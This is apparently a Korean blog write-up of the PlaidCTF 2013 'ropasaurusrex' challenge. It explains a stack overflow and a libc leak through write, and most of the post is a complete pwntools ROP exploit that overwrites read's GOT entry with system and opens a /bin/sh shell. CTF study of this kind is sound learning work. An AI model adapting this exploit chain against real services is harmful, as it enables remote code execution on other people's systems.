Pwnable/CTF

PlaidCTF 2013 ropasaurusrex

HSr00t 2017. 2. 11. 20:55

실력이 너무 부족하다보니 그나마 쉽다고 생각되는 CTF 문제들부터 풀어봣다.




느낌이 온다..




함수 이름은 임의로 직접 정한것

버퍼 사이즈는 136인데 .. read 함수로 256만큼 입력을 받는다. (스포를 해보자면 write 함수로 leak을 한 다음에 오프셋을 구해서 공격하면 된다)


main 함수 사진까지 올릴필요는 없다 생각해서 한줄로 적었다. -> return write(1, "WIN\n", 4u); <- 이 write 함수 를 이용하여서 memory leak을 할 수 있다.






Exploit Code (원래 같으면 같이 바이너리와 포함되있는 libc.so.6로 오프셋을 구할 수 있지만 난 로컬로 풀었기때문에 서버쪽에서 오프셋을 얻어온다음에 그것을 이용하여서 풀었다)

-------------------------------------------------------------

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import time
 
r=remote('192.168.146.155',9001)
 
write_plt=0x0804830c
write_got=0x08049614
bss=0x08049628+0x30
read_got=0x0804961C
p3r=0x080484b6
read_plt=0x0804832C
read_system_offset=0x9ae80
shell="/bin/sh"
 
print "Exploit and Memory leak"
payload="\x90"*140
payload+=p32(read_plt)
payload+=p32(p3r)
payload+=p32(0)
payload+=p32(bss)
payload+=p32(len(shell)+1)
 
#Memory leak start
payload+=p32(write_plt)
payload+=p32(p3r)
payload+=p32(1)
payload+=p32(read_got)
payload+=p32(4)
#Memory leak End
 
payload+=p32(read_plt)
payload+=p32(p3r)
payload+=p32(0)
payload+=p32(read_got)
payload+=p32(4)
 
payload+=p32(read_plt)
payload+=p32(0xaabbccdd)
payload+=p32(bss)
 
r.sendline(payload)
time.sleep(2)
 
r.sendline(shell)
 
read_libc=u32(r.recv(4))
 
print hex(read_libc)
system_libc=read_libc-read_system_offset
 
print "LEAK : System addr: "+hex(system_libc)
time.sleep(1)
r.sendline(p32(system_libc))
 
r.interactive()
cs


------------------------------------------

로컬로 풀어보는데 쉬운문제 같다.